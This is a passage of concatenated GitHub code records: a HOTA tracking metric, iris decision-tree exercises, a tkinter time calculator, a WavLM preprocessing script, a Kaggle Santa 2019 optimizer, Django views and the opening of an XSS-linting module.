np.ones((len(self.__array_labels)), dtype=np.float)\n return metric_dict\n if cfg.gt_dets_cnt == 0:\n metric_dict['HOTA_FP'] = cfg.pred_dets_cnt * np.ones((len(self.__array_labels)), dtype=np.float)\n metric_dict['LocA'] = np.ones((len(self.__array_labels)), dtype=np.float)\n return metric_dict\n\n # Variables counting global association\n potential_matches_count = np.zeros((cfg.pred_ids_cnt, cfg.gt_ids_cnt))\n gt_id_count = np.zeros((1, cfg.gt_ids_cnt))\n pred_id_count = np.zeros((cfg.pred_ids_cnt, 1))\n\n # First loop through each timestep and accumulate global track information.\n for timestamp, (gt_ids_t, pred_ids_t) in enumerate(zip(cfg.gt_ids, cfg.pred_ids)):\n # Count the potential matches between ids in each timestep\n # These are normalised, weighted by the match similarity.\n similarity = cfg.similarity_scores[timestamp]\n sim_iou_denom = similarity.sum(0)[np.newaxis, :] + similarity.sum(1)[:, np.newaxis] - similarity\n sim_iou = np.zeros_like(similarity)\n sim_iou_mask = sim_iou_denom > 0 + np.finfo('float').eps\n sim_iou[sim_iou_mask] = similarity[sim_iou_mask] / sim_iou_denom[sim_iou_mask]\n potential_matches_count[pred_ids_t[:, np.newaxis], gt_ids_t[np.newaxis, :]] += sim_iou\n\n # Calculate the total number of dets for each gt_id and pred_ids_t_id.\n gt_id_count[0, gt_ids_t] += 1\n pred_id_count[pred_ids_t] += 1\n\n # Calculate overall jaccard alignment score (before unique matching) between IDs\n global_alignment_score = potential_matches_count / (gt_id_count + pred_id_count - potential_matches_count)\n matches_counts = [np.zeros_like(potential_matches_count) for _ in self.__array_labels]\n\n # Calculate scores for each timestep\n for timestamp, (gt_ids_t, pred_ids_t) in enumerate(zip(cfg.gt_ids, cfg.pred_ids)):\n # Deal with the case that there are no gt_det/pred_ids_t_det in a timestep.\n if len(gt_ids_t) == 0:\n for a, alpha in enumerate(self.__array_labels):\n metric_dict['HOTA_FP'][a] += len(pred_ids_t)\n continue\n if len(pred_ids_t) == 0:\n for a, alpha in enumerate(self.__array_labels):\n metric_dict['HOTA_FN'][a] += len(gt_ids_t)\n continue\n\n # Get matching scores between pairs of dets for optimizing HOTA\n similarity = cfg.similarity_scores[timestamp]\n score_mat = global_alignment_score[pred_ids_t[:, np.newaxis], gt_ids_t[np.newaxis, :]] * similarity\n\n # Hungarian algorithm to find best matches\n match_rows, match_cols = linear_sum_assignment(-score_mat)\n\n # Calculate and accumulate basic statistics\n for a, alpha in enumerate(self.__array_labels):\n actually_matched_mask = similarity[match_rows, match_cols] >= alpha - np.finfo('float').eps\n alpha_match_rows = match_rows[actually_matched_mask]\n alpha_match_cols = match_cols[actually_matched_mask]\n num_matches = len(alpha_match_rows)\n metric_dict['HOTA_TP'][a] += num_matches\n metric_dict['HOTA_FN'][a] += len(gt_ids_t) - num_matches\n metric_dict['HOTA_FP'][a] += len(pred_ids_t) - num_matches\n if num_matches > 0:\n metric_dict['LocA'][a] += sum(similarity[alpha_match_rows, alpha_match_cols])\n matches_counts[a][pred_ids_t[alpha_match_rows], gt_ids_t[alpha_match_cols]] += 1\n\n # Calculate association scores (AssA, AssRe, AssPr) for the alpha value.\n # First calculate scores per gt_id/pred_ids_t_id combo and then average over the number of detections.\n for a, alpha in enumerate(self.__array_labels):\n matches_count = matches_counts[a]\n ass_a = matches_count / np.maximum(1, gt_id_count + pred_id_count - matches_count)\n metric_dict['AssA'][a] = np.sum(matches_count * ass_a) / np.maximum(1, metric_dict['HOTA_TP'][a])\n ass_re = matches_count / np.maximum(1, gt_id_count)\n metric_dict['AssRe'][a] = np.sum(matches_count * ass_re) / np.maximum(1, metric_dict['HOTA_TP'][a])\n ass_pr = matches_count / np.maximum(1, pred_id_count)\n metric_dict['AssPr'][a] = np.sum(matches_count * ass_pr) / np.maximum(1, metric_dict['HOTA_TP'][a])\n\n # Calculate final scores\n metric_dict['LocA'] = np.maximum(1e-10, metric_dict['LocA']) / np.maximum(1e-10, metric_dict['HOTA_TP'])\n metric_dict = self._compute_final_fields(metric_dict)\n\n return metric_dict\n\n def combine_result(self, all_res: Dict) -> Dict:\n \"\"\"Combines metrics across all sequences\"\"\"\n metric_dict = {}\n for field in self.__metric_supp_list:\n metric_dict[field] = self._combine_sum(all_res, field)\n for field in ['AssRe', 'AssPr', 'AssA']:\n metric_dict[field] = self._combine_weighted_avg(all_res, field, metric_dict, weight_field='HOTA_TP')\n loca_weighted_sum = sum([all_res[k]['LocA'] * all_res[k]['HOTA_TP'] for k in all_res.keys()])\n metric_dict['LocA'] = np.maximum(1e-10, loca_weighted_sum) / np.maximum(1e-10, metric_dict['HOTA_TP'])\n metric_dict = self._compute_final_fields(metric_dict)\n return metric_dict\n\n @ staticmethod\n def _compute_final_fields(metric_dict: Dict) -> Dict:\n \"\"\"Calculate sub-metric ('field') values which only depend on other sub-metric values.\n This function is used both for both per-sequence calculation, and in combining values across sequences.\n \"\"\"\n metric_dict['DetRe'] = metric_dict['HOTA_TP'] / np.maximum(1, metric_dict['HOTA_TP'] + metric_dict['HOTA_FN'])\n metric_dict['DetPr'] = metric_dict['HOTA_TP'] / np.maximum(1, metric_dict['HOTA_TP'] + metric_dict['HOTA_FP'])\n metric_dict['DetA'] = metric_dict['HOTA_TP'] / np.maximum(\n 1, metric_dict['HOTA_TP'] + metric_dict['HOTA_FN'] + metric_dict['HOTA_FP'])\n metric_dict['HOTA'] = np.sqrt(metric_dict['DetA'] * metric_dict['AssA'])\n metric_dict['RHOTA'] = np.sqrt(metric_dict['DetRe'] * metric_dict['AssA'])\n\n return metric_dict\n","repo_name":"ArkarPhyo1310/CV_Evaluation_Metrics","sub_path":"cv_eval_metrics/metrics/tracking/hota.py","file_name":"hota.py","file_ext":"py","file_size_in_byte":7477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5512582596","text":"import matplotlib.pyplot as plt\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport pandas as pd\n\n# 실습과제\n# iris 데이터 사용\n# iris['data'][:,0] feature 첫번째 1개만 사용\n# iris['target']이 클래스\n# x의 최적 분기 조건을 찾아라 최초 분기점만 찾기\n# gini index를 사용해서 \n\niris = load_iris()\nx_data = iris['data'][:,0]\ny_data = iris['target']\nxy_data = np.c_[x_data, y_data]\n\nsort_x = sorted(list(set(x_data)))\ncondition = [(sort_x[i]+sort_x[i+1])/2 for i in range(len(sort_x)-1)]\n\n\ndef Gini_min(condition): \n G_cond = []\n for cond in condition:\n dic_yes = {0 : 0, 1 : 0, 2 : 0}\n dic_no = {0 : 0, 1 : 0, 2 : 0}\n for x, y in xy_data:\n if x >= cond:\n dic_yes[int(y)] +=1\n else:\n dic_no[int(y)] +=1\n \n G_yes = (1 - (dic_yes[0]/sum(dic_yes.values()))**2 - (dic_yes[1]/sum(dic_yes.values()))**2 - (dic_yes[2]/sum(dic_yes.values()))**2 )\n G_no = (1 - (dic_no[0] / sum(dic_no.values()))**2 - (dic_no[1] / sum(dic_no.values()))**2 - (dic_no[2]/sum(dic_no.values()))**2 )\n G = G_yes*(sum(dic_yes.values())/len(xy_data)) + G_no*(sum(dic_no.values())/len(xy_data))\n G_cond.append(G)\n return condition[np.argmin(G_cond)]\n\nGini_min(condition)\n\n\n\n########################### 라이브러리 사용 ########################\n\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn import tree\nimport matplotlib.pyplot as plt\n\ndf = pd.DataFrame(data= np.c_[iris['data'][:, 0], iris['target']], columns= ['x', 'y'])\n\nx_train = np.array(df['x']).reshape(-1,1)\ny_train = df['y']\nlabels = set(df['y'])\n\nclf = DecisionTreeClassifier(max_depth=1)\nclf.fit(x_train, y_train)\n\nplt.figure(figsize = (12,4))\ntree.plot_tree(clf, feature_names = ['x'], fontsize=12)\nplt.show()\n\n\n\n# 실습과제\n# iris 데이터 사용\n# 8:2 로 스플릿\n# D.T 로 x_train y_train 로 학습\n# x_test로 y_pred 추정 후 y_test와 비교 정확도 측정\n# max_depth 1~20까지 변화하면서 정확도 확인\n\n\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn import tree\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\niris = load_iris()\nx_train, x_test, y_train, y_test = train_test_split(iris['data'], iris['target'], test_size=0.2)\n\ntest_score = []\ntrain_score = []\nd_max = 30\nfor i in range(1,d_max+1):\n dt_clf = DecisionTreeClassifier(max_depth=i)\n dt_clf.fit(x_train, y_train)\n test_score.append(dt_clf.score(x_test, y_test))\n train_score.append(dt_clf.score(x_train, y_train))\n\ndf_test = pd.DataFrame(data=test_score, index=np.arange(1,31), columns=['max_depth'])\ndf_train = pd.DataFrame(data=train_score, index=np.arange(1,31), columns=['max_depth']) \n\nplt.figure(figsize = (12,7))\nplt.plot(df_test, marker='o', label = 'test score')\nplt.plot(df_train, marker='o',label = 'train score')\nplt.legend()\nplt.xlabel('max_depth')\nplt.ylabel('accuracy')\nplt.xticks(np.arange(d_max+1))\nplt.yticks(np.arange(min(df_test.min()[0], df_train.min()[0]), 1.05, 0.05))\nplt.show()\n\nopt_depth = np.argmax(test_score)\nopt_acc = test_score[opt_depth]\nprint(f'max depth: {opt_depth+1}, accuray: {opt_acc:0.3f}')\n\n# 활용단계\nx_new = np.array([2.3, 1.8, 3.2, 2.5]).reshape(-1,4)\ndt_clf.predict(x_new)","repo_name":"jjuunnoo/TIL","sub_path":"python/machine learning/220215_iris_decision_tree.py","file_name":"220215_iris_decision_tree.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25010915791","text":"import tkinter as tk\nfrom datetime import datetime, timedelta\n\nclass TimeCalculator:\n def __init__(self, master):\n self.master = master\n self.master.title(\"Калькулятор времени\")\n\n self.label1 = tk.Label(self.master, text=\"Введите время в формате чч-мм\")\n self.label1.pack()\n\n self.entry1 = tk.Entry(self.master)\n self.entry1.pack()\n\n self.label2 = tk.Label(self.master, text=\"Введите количество часов и минут для добавления (в формате 0-13)\")\n self.label2.pack()\n\n self.entry2 = tk.Entry(self.master)\n self.entry2.pack()\n\n self.result_label = tk.Label(self.master, text=\"\")\n self.result_label.pack()\n\n self.calculate_button = tk.Button(self.master, text=\"Вычислить\", command=self.calculate)\n self.calculate_button.pack()\n\n def calculate(self):\n time_str = self.entry1.get()\n delta_str = self.entry2.get()\n\n try:\n time = datetime.strptime(time_str, '%H-%M').time()\n if \"-\" in delta_str:\n delta_hours, delta_minutes = map(int, delta_str.split('-'))\n if delta_hours > 23 or delta_minutes > 59:\n raise ValueError\n delta = timedelta(hours=delta_hours, minutes=delta_minutes)\n else:\n delta_minutes = int(delta_str)\n if delta_minutes > 59:\n raise ValueError\n delta = timedelta(minutes=delta_minutes)\n\n new_time = (datetime.combine(datetime.min, time) + delta).time()\n\n self.result_label.config(text=f\"Результат: {new_time.strftime('%H-%M')}\")\n except ValueError:\n self.result_label.config(text=\"Ошибка: неверный формат времени\")\n\nroot = tk.Tk()\napp = TimeCalculator(root)\nroot.mainloop()\n","repo_name":"ruleito/time_calc","sub_path":"time_calc.py","file_name":"time_calc.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70583355601","text":"\"\"\" create data samples \"\"\"\nimport pdb\n\nimport lmdb\nimport math\nimport numpy as np\nimport pyarrow\n\n\nimport torch\nimport torch.nn.functional as F\n\ndef wavlm_init(device=torch.device('cuda:1')):\n import sys\n [sys.path.append(i) for i in ['./WavLM']]\n from WavLM import WavLM, WavLMConfig\n wavlm_model_path = './WavLM/WavLM-Large.pt'\n # wavlm_model_path = '../../../My/process/WavLM-Base+.pt'\n # load the pre-trained checkpoints\n checkpoint = torch.load(wavlm_model_path, map_location=torch.device('cpu'))\n cfg = WavLMConfig(checkpoint['cfg'])\n model = WavLM(cfg)\n model = model.to(device)\n model.load_state_dict(checkpoint['model'])\n model.eval()\n return model\n\n\ndef wav2wavlm(model, wav_input_16khz, device=torch.device('cuda:1')):\n with torch.no_grad():\n wav_input_16khz = torch.from_numpy(wav_input_16khz).float()\n wav_input_16khz = wav_input_16khz.to(device).unsqueeze(0)\n rep = model.extract_features(wav_input_16khz)[0]\n rep = F.interpolate(rep.transpose(1, 2), size=88, align_corners=True, mode='linear').transpose(1, 2)\n return rep.squeeze().cpu().detach().data.cpu().numpy()\n\n\nclass DataPreprocessor:\n def __init__(self, clip_lmdb_dir, out_lmdb_dir, n_poses, subdivision_stride, pose_resampling_fps, device):\n self.n_poses = n_poses\n self.subdivision_stride = subdivision_stride\n self.skeleton_resampling_fps = pose_resampling_fps\n\n self.src_lmdb_env = lmdb.open(clip_lmdb_dir, readonly=True, lock=False)\n with self.src_lmdb_env.begin() as txn:\n self.n_videos = txn.stat()['entries']\n\n self.audio_sample_length = int(self.n_poses / self.skeleton_resampling_fps * 16000)\n\n # create db for samples\n map_size = 1024 * 1024 * 20 # in TB\n map_size <<= 20 # in B\n self.dst_lmdb_env = lmdb.open(out_lmdb_dir, map_size=map_size)\n self.n_out_samples = 0\n\n self.model = wavlm_init(device)\n self.device = device\n\n def run(self):\n src_txn = self.src_lmdb_env.begin(write=False)\n\n # sampling and normalization\n cursor = src_txn.cursor()\n for key, value in cursor:\n video = pyarrow.deserialize(value)\n vid = video['vid']\n clips = video['clips']\n for clip_idx, clip in enumerate(clips):\n self._sample_from_clip(vid, clip, self.device)\n\n # print stats\n with self.dst_lmdb_env.begin() as txn:\n print('no. of samples: ', txn.stat()['entries'])\n # close db\n self.src_lmdb_env.close()\n self.dst_lmdb_env.sync()\n self.dst_lmdb_env.close()\n\n\n def _sample_from_clip(self, vid, clip, device):\n clip_skeleton = clip['poses']\n clip_audio_raw = clip['audio_raw']\n clip_styles_raw = clip['style_raw']\n clip_mfcc_raw = clip['mfcc_raw']\n\n # divide\n aux_info = []\n sample_skeletons_list = []\n sample_audio_list = []\n sample_codes_list = []\n sample_mfcc_list = []\n sample_wavlm_list = []\n\n MINLEN = min(len(clip_skeleton), int(len(clip_audio_raw) * 60 / 16000), len(clip_mfcc_raw))\n\n num_subdivision = math.floor(\n (MINLEN - self.n_poses)\n / self.subdivision_stride) # floor((K - (N+M)) / S) + 1\n\n for i in range(num_subdivision):\n start_idx = i * self.subdivision_stride\n fin_idx = start_idx + self.n_poses\n\n sample_skeletons = clip_skeleton[start_idx:fin_idx]\n sample_mfcc = clip_mfcc_raw[start_idx:fin_idx]\n subdivision_start_time = start_idx / self.skeleton_resampling_fps\n subdivision_end_time = fin_idx / self.skeleton_resampling_fps\n\n # raw audio\n audio_start = math.floor(start_idx / len(clip_skeleton) * len(clip_audio_raw))\n audio_end = audio_start + self.audio_sample_length\n sample_audio = clip_audio_raw[audio_start:audio_end]\n sample_wavlm = wav2wavlm(self.model, sample_audio, device=device)\n\n motion_info = {'vid': vid,\n 'start_frame_no': start_idx,\n 'end_frame_no': fin_idx,\n 'start_time': subdivision_start_time,\n 'end_time': subdivision_end_time}\n\n sample_skeletons_list.append(sample_skeletons)\n sample_mfcc_list.append(sample_mfcc)\n sample_wavlm_list.append(sample_wavlm)\n sample_audio_list.append(sample_audio)\n sample_codes_list.append(clip_styles_raw)\n aux_info.append(motion_info)\n\n # if len(sample_skeletons_list) > 0:\n # with self.dst_lmdb_env.begin(write=True) as txn:\n # for poses, audio, codes, mfcc, wavlm, aux in zip(sample_skeletons_list,\n # sample_audio_list, sample_codes_list, sample_mfcc_list, sample_wavlm_list, aux_info):\n # poses = np.asarray(poses)\n #\n # # save\n # k = '{:010}'.format(self.n_out_samples).encode('ascii')\n # v = [poses, audio, codes, mfcc, wavlm, aux]\n # v = pyarrow.serialize(v).to_buffer()\n # txn.put(k, v)\n # self.n_out_samples += 1\n\n if len(sample_skeletons_list) > 0:\n with self.dst_lmdb_env.begin(write=True) as txn:\n for poses, codes, wavlm in zip(sample_skeletons_list, sample_codes_list, sample_wavlm_list):\n poses = np.asarray(poses)\n\n # save\n k = '{:010}'.format(self.n_out_samples).encode('ascii')\n v = [poses, codes, wavlm]\n v = pyarrow.serialize(v).to_buffer()\n txn.put(k, v)\n self.n_out_samples += 1\n\n","repo_name":"YoungSeng/DiffuseStyleGesture","sub_path":"main/mydiffusion_zeggs/data_loader/data_preprocessor.py","file_name":"data_preprocessor.py","file_ext":"py","file_size_in_byte":5891,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"3"} +{"seq_id":"24897519006","text":"# -*- coding: utf-8 -*-\nimport sys\nimport photozou_api as pa\n\n# テキストファイルから検索するクエリ, 保存する画像のファイル名を取得する関数\n\n\ndef get_query_list(query_list_file_path):\n # 読み込むテキストファイル\n with open(query_list_file_path) as f:\n # 検索するクエリとファイル名を入れるリストを準備\n query_list = []\n for line in f:\n query = line.strip().split(',')\n query_list.append(query)\n return query_list\n\n\nif __name__ == '__main__':\n '''\n コマンドライン引数を使用する場合\n テキストファイルのパス\n uery_list_file_path = sys.argv[0]\n ダウンロードする画像の枚数\n n = sys.argv[1]\n '''\n\n # テキストファイルのパス\n query_list_file_path = \"./data/query_list.txt\"\n\n # ダウンロードする画像の枚数\n n = 10\n\n # テキストファイルから検索するクエリ, 保存するファイル名を取得\n query_list = get_query_list(query_list_file_path)\n for query in query_list:\n # 画像のURLを取得\n img_url_list = pa.get_image_url_list(query[0], n)\n # 画像をダウンロード\n pa.download_image(img_url_list, query[0], query[1], n)\n","repo_name":"Doarakko/api-playground","sub_path":"photozou-api/download_image.py","file_name":"download_image.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30029506384","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 8 23:44:52 2019\n\n@author: chirokov\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport os\nimport matplotlib.pyplot as plt\nfrom ortools.linear_solver import pywraplp\n\n\nDATA_FOLDER = os.getenv('HOME') + '/source/github/KaggleSandbox/Santa2019/data' \n\n#for dirname, _, filenames in os.walk(DATA_FOLDER):\n# for filename in filenames:\n# print(os.path.join(dirname, filename))\n \ndata = pd.read_csv(os.path.join(DATA_FOLDER, 'family_data.csv'), index_col='family_id')\nsubmission = pd.read_csv(os.path.join(DATA_FOLDER,'ex3/solution.csv'), index_col='family_id')\n\nfamily_size_dict = data[['n_people']].to_dict()['n_people']\n\ncols = [f'choice_{i}' for i in range(10)]\nchoice_dict = data[cols].to_dict()\nchoice_map = data[cols].transpose().to_dict()\nchoice_list = [{choice_map[i]['choice_%d'%j]:j for j in range(10)} for i in range(5000)]\nordered_choices = [[choice_map[i]['choice_%d'%j] for j in range(10)] for i in range(5000)]\n\npenalty_map = [( 0, 0),\n ( 50, 0),\n ( 50, 9),\n (100, 9),\n (200, 9),\n (200, 18),\n (300, 18),\n (300, 36),\n (400, 36),\n (500, 36 + 199),\n (500, 36 + 398)]\n\nN_DAYS = 100\nMAX_OCCUPANCY = 300\nMIN_OCCUPANCY = 125\n\n# from 100 to 1\ndays = list(range(N_DAYS,0,-1))\n\n#%% Objective function\n\n#curr_solution = submission['assigned_day'].tolist()\n#cost_function(curr_solution) - cost_function_orig(curr_solution)\n#%timeit cost_function(curr_solution) \n#%timeit cost_function_orig(curr_solution) \n\ndef daily_count(prediction):\n daily_occupancy = np.zeros(N_DAYS)\n for f, d in enumerate(prediction):\n daily_occupancy[d-1] += family_size_dict[f]\n return daily_occupancy\n\ndef daily_accounting_cost(daily_occupancy): \n daily_occupancy = np.minimum(MAX_OCCUPANCY, np.maximum(MIN_OCCUPANCY, daily_occupancy)) \n daily_cost = ((daily_occupancy-125.0) / 400.0) * np.power(daily_occupancy, (0.5 + np.abs(np.diff(daily_occupancy, append = daily_occupancy[-1])) / 50.0)) \n return daily_cost\n \n \ndef cost_function(prediction, choice_mult = 1.0, acct_mult = 1.0, constr_mult = 1.0 ):\n choice_penalty = 0\n daily_occupancy = np.zeros(N_DAYS) \n for f, d in enumerate(prediction): \n n = family_size_dict[f] \n daily_occupancy[d-1] += n \n choices = choice_list[f]\n pc, pn = penalty_map[choices[d]] if d in choices else penalty_map[-1]\n choice_penalty += pc + pn * n\n \n constr_penalty = np.sum( (daily_occupancy > MAX_OCCUPANCY) | (daily_occupancy < MIN_OCCUPANCY))\n \n daily_occupancy = np.minimum(MAX_OCCUPANCY, np.maximum(MIN_OCCUPANCY, daily_occupancy)) \n accounting_cost = np.sum(((daily_occupancy-125.0) / 400.0) * np.power(daily_occupancy, (0.5 + np.abs(np.diff(daily_occupancy, append = daily_occupancy[-1])) / 50.0))) \n\n return choice_mult * choice_penalty + acct_mult * accounting_cost + constr_mult * constr_penalty\n\ndef cost_function_orig(prediction):\n\n penalty = 0\n\n # We'll use this to count the number of people scheduled each day\n daily_occupancy = {k:0 for k in days}\n \n # Looping over each family; d is the day for each family f\n for f, d in enumerate(prediction):\n\n # Using our lookup dictionaries to make simpler variable names\n n = family_size_dict[f]\n choice_0 = choice_dict['choice_0'][f]\n choice_1 = choice_dict['choice_1'][f]\n choice_2 = choice_dict['choice_2'][f]\n choice_3 = choice_dict['choice_3'][f]\n choice_4 = choice_dict['choice_4'][f]\n choice_5 = choice_dict['choice_5'][f]\n choice_6 = choice_dict['choice_6'][f]\n choice_7 = choice_dict['choice_7'][f]\n choice_8 = choice_dict['choice_8'][f]\n choice_9 = choice_dict['choice_9'][f]\n\n # add the family member count to the daily occupancy\n daily_occupancy[d] += n\n\n # Calculate the penalty for not getting top preference\n if d == choice_0:\n penalty += 0\n elif d == choice_1:\n penalty += 50\n elif d == choice_2:\n penalty += 50 + 9 * n\n elif d == choice_3:\n penalty += 100 + 9 * n\n elif d == choice_4:\n penalty += 200 + 9 * n\n elif d == choice_5:\n penalty += 200 + 18 * n\n elif d == choice_6:\n penalty += 300 + 18 * n\n elif d == choice_7:\n penalty += 300 + 36 * n\n elif d == choice_8:\n penalty += 400 + 36 * n\n elif d == choice_9:\n penalty += 500 + 36 * n + 199 * n\n else:\n penalty += 500 + 36 * n + 398 * n\n\n # for each date, check total occupancy\n # (using soft constraints instead of hard constraints)\n for _, v in daily_occupancy.items():\n if (v > MAX_OCCUPANCY) or (v < MIN_OCCUPANCY):\n penalty += 100000000\n\n # Calculate the accounting cost\n # The first day (day 100) is treated special\n accounting_cost = (daily_occupancy[days[0]]-125.0) / 400.0 * daily_occupancy[days[0]]**(0.5)\n # using the max function because the soft constraints might allow occupancy to dip below 125\n accounting_cost = max(0, accounting_cost)\n \n # Loop over the rest of the days, keeping track of previous count\n yesterday_count = daily_occupancy[days[0]]\n for day in days[1:]:\n today_count = daily_occupancy[day]\n diff = abs(today_count - yesterday_count)\n accounting_cost += max(0, (daily_occupancy[day]-125.0) / 400.0 * daily_occupancy[day]**(0.5 + diff / 50.0))\n yesterday_count = today_count\n\n penalty += accounting_cost\n\n return penalty\n\n#%% Start with the sample submission values\nbest_solution = submission['assigned_day'].tolist()\nstart_score = cost_function(best_solution)\n\nnew = best_solution.copy()\n# loop over each family\nfor fam_id, _ in enumerate(best):\n # loop over each family choice\n for pick in range(10):\n day = choice_dict[f'choice_{pick}'][fam_id]\n temp = new.copy()\n temp[fam_id] = day # add in the new pick\n if cost_function(temp) < start_score:\n new = temp.copy()\n start_score = cost_function(new)\n\nsubmission['assigned_day'] = new\nscore = cost_function(new)\nsubmission.to_csv(f'submission_{score}.csv')\nprint(f'Score: {score}')\n\nplt.figure(1,figsize=(10,8),dpi=72)\nplt.plot(daily_count(best_solution),'.-k')\nplt.plot(daily_accounting_cost(daily_count(best_solution)), '.-')\nplt.grid()\n\n#%% stocastic optimizer\n#best_solution = submission['assigned_day'].tolist()\n#best_objective = cost_function(best_solution)\n\nmy_cost_function = lambda x: cost_function(x, 0.0, 1, 1000)\nruns = 10000\ntempr = 1\n\nit_obj = np.zeros(runs)\n\n#current_solution = [l[0] for l in ordered_choices] #start with optimal\n#current_solution = best_solution.copy()\nbest_objective = my_cost_function(best_solution)\n\nfor i in range(runs):\n index = int(np.floor(5000*np.random.rand()))\n prev = current_solution[index]\n rday = np.random.choice(ordered_choices[index]) if np.random.rand() > 0.01 else int(1 + np.floor(100*np.random.rand()))\n if rday != prev: \n current_solution[index] = rday\n new_obj = my_cost_function(current_solution)\n if new_obj < best_objective or np.random.rand() < np.exp(-(new_obj - best_objective)/tempr):\n #print('%d %.1f -> %.1f' % (i, best_objective, new_obj) )\n best_solution = current_solution.copy()\n best_objective = new_obj\n else:\n current_solution[index] = prev\n it_obj[i] = best_objective \n \nplt.plot(it_obj)\n\nmy_cost_function(best_solution)\nmy_cost_function(current_solution)\n\n#submission['assigned_day'] = new\n#score = cost_function(new)\n#submission.to_csv(f'submission_{score}.csv')\n#print(f'Score: {score}')\n\nplt.plot(daily_count(best_solution) )\nplt.plot(daily_accounting_cost(daily_count(best_solution)))\nplt.grid()\n\nplt.plot(daily_count(current_solution) )\n\n#%% check solution\nsubmission = pd.read_csv(os.path.join(DATA_FOLDER,'ex/solution.csv'), index_col='family_id')\nsolution = submission['assigned_day'].tolist()\n\ncost_function(solution)\nplt.plot(daily_count(solution) )\nplt.plot(daily_accounting_cost(daily_count(solution)))\nplt.grid()\n#%% temp\ntemp = list(best_solution)\ndaily_count(temp)\ntemp[4278] = 31 #100\ncost_function(temp)\n\ncurrent_solution = 1+np.random.choice(range(100), 5000)\n\n#%% check all files\nsolutions = list()\nfor dirname, _, filenames in os.walk(DATA_FOLDER):\n for filename in filenames:\n if filename.endswith('.csv') and 'solution' in filename:\n submission = pd.read_csv(os.path.join(dirname, filename), index_col='family_id')\n obj = cost_function(submission['assigned_day'].tolist())\n solutions.append((dirname, filename, obj))\n print('%s/%s: %f' % (dirname, filename, obj))\n\nsolutions.sort(key = lambda x : x[2])","repo_name":"ratesquant/KaggleSandbox","sub_path":"Santa2019/santa_workshop.py","file_name":"santa_workshop.py","file_ext":"py","file_size_in_byte":8974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25575796963","text":"from django.contrib.auth.models import User\nfrom django.http import HttpResponse\nfrom django.template import loader\nfrom .models import Member\n\n\ndef members(request):\n mymembers = User.objects.all().values()\n template = loader.get_template('allmembers.html')\n context = {\n 'mymembers': mymembers,\n }\n return HttpResponse(template.render(context, request))\n\n\ndef index(request):\n template = loader.get_template('index.html')\n user = request.user\n if request.user.is_authenticated:\n print(user.username + ' is logged in')\n context = {\n 'user': user\n }\n return HttpResponse(template.render(context, request))\n\n\ndef details(request, id):\n mymember = User.objects.get(id=id)\n template = loader.get_template('details.html')\n context = {\n 'mymember': mymember,\n }\n return HttpResponse(template.render(context, request))\n\n\ndef testing(request):\n mymembers = Member.objects.all().values()\n template = loader.get_template('template.html')\n context = {\n 'mymembers': mymembers,\n }\n return HttpResponse(template.render(context, request))\n","repo_name":"RydCri/Django","sub_path":"MVT/members/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12617545103","text":"\"\"\"\nLinter classes containing logic for checking various filetypes.\n\"\"\"\n\n\nimport ast\nimport io\nimport os\nimport re\nimport textwrap\n\nfrom xsslint import visitors\nfrom xsslint.reporting import ExpressionRuleViolation, FileResults, RuleViolation\nfrom xsslint.rules import RuleSet\nfrom xsslint.utils import Expression, ParseString, StringLines, is_skip_dir\nfrom xsslint.django_linter import TransExpression, BlockTransExpression, HtmlInterpolateExpression\n\n\nclass BaseLinter:\n \"\"\"\n BaseLinter provides some helper functions that are used by multiple linters.\n\n \"\"\"\n\n LINE_COMMENT_DELIM = None\n\n def _is_valid_directory(self, skip_dirs, directory):\n \"\"\"\n Determines if the provided directory is a directory that could contain\n a file that needs to be linted.\n\n Arguments:\n skip_dirs: The directories to be skipped.\n directory: The directory to be linted.\n\n Returns:\n True if this directory should be linted for violations and False\n otherwise.\n \"\"\"\n if is_skip_dir(skip_dirs, directory):\n return False\n\n return True\n\n def _load_file(self, file_full_path):\n \"\"\"\n Loads a file into a string.\n\n Arguments:\n file_full_path: The full path of the file to be loaded.\n\n Returns:\n A string containing the files contents.\n\n \"\"\"\n with open(file_full_path) as input_file:\n file_contents = input_file.read()\n return file_contents\n\n def _load_and_check_file_is_safe(self, file_full_path, lint_function, results):\n \"\"\"\n Loads the Python file and checks if it is in violation.\n\n Arguments:\n file_full_path: The file to be loaded and linted.\n lint_function: A function that will lint for violations. It must\n take two arguments:\n 1) string contents of the file\n 2) results object\n results: A FileResults to be used for this file\n\n Returns:\n The file results containing any violations.\n\n \"\"\"\n file_contents = self._load_file(file_full_path)\n lint_function(file_contents, results)\n return results\n\n def _find_closing_char_index(\n self, start_delim, open_char, close_char, template, start_index, num_open_chars=0, strings=None\n ):\n \"\"\"\n Finds the index of the closing char that matches the opening char.\n\n For example, this could be used to find the end of a Mako expression,\n where the open and close characters would be '{' and '}'.\n\n Arguments:\n start_delim: If provided (e.g. '${' for Mako expressions), the\n closing character must be found before the next start_delim.\n open_char: The opening character to be matched (e.g '{')\n close_char: The closing character to be matched (e.g '}')\n template: The template to be searched.\n start_index: The start index of the last open char.\n num_open_chars: The current number of open chars.\n strings: A list of ParseStrings already parsed\n\n Returns:\n A dict containing the following, or None if unparseable:\n close_char_index: The index of the closing character\n strings: a list of ParseStrings\n\n \"\"\"\n strings = [] if strings is None else strings\n\n # Find start index of an uncommented line.\n start_index = 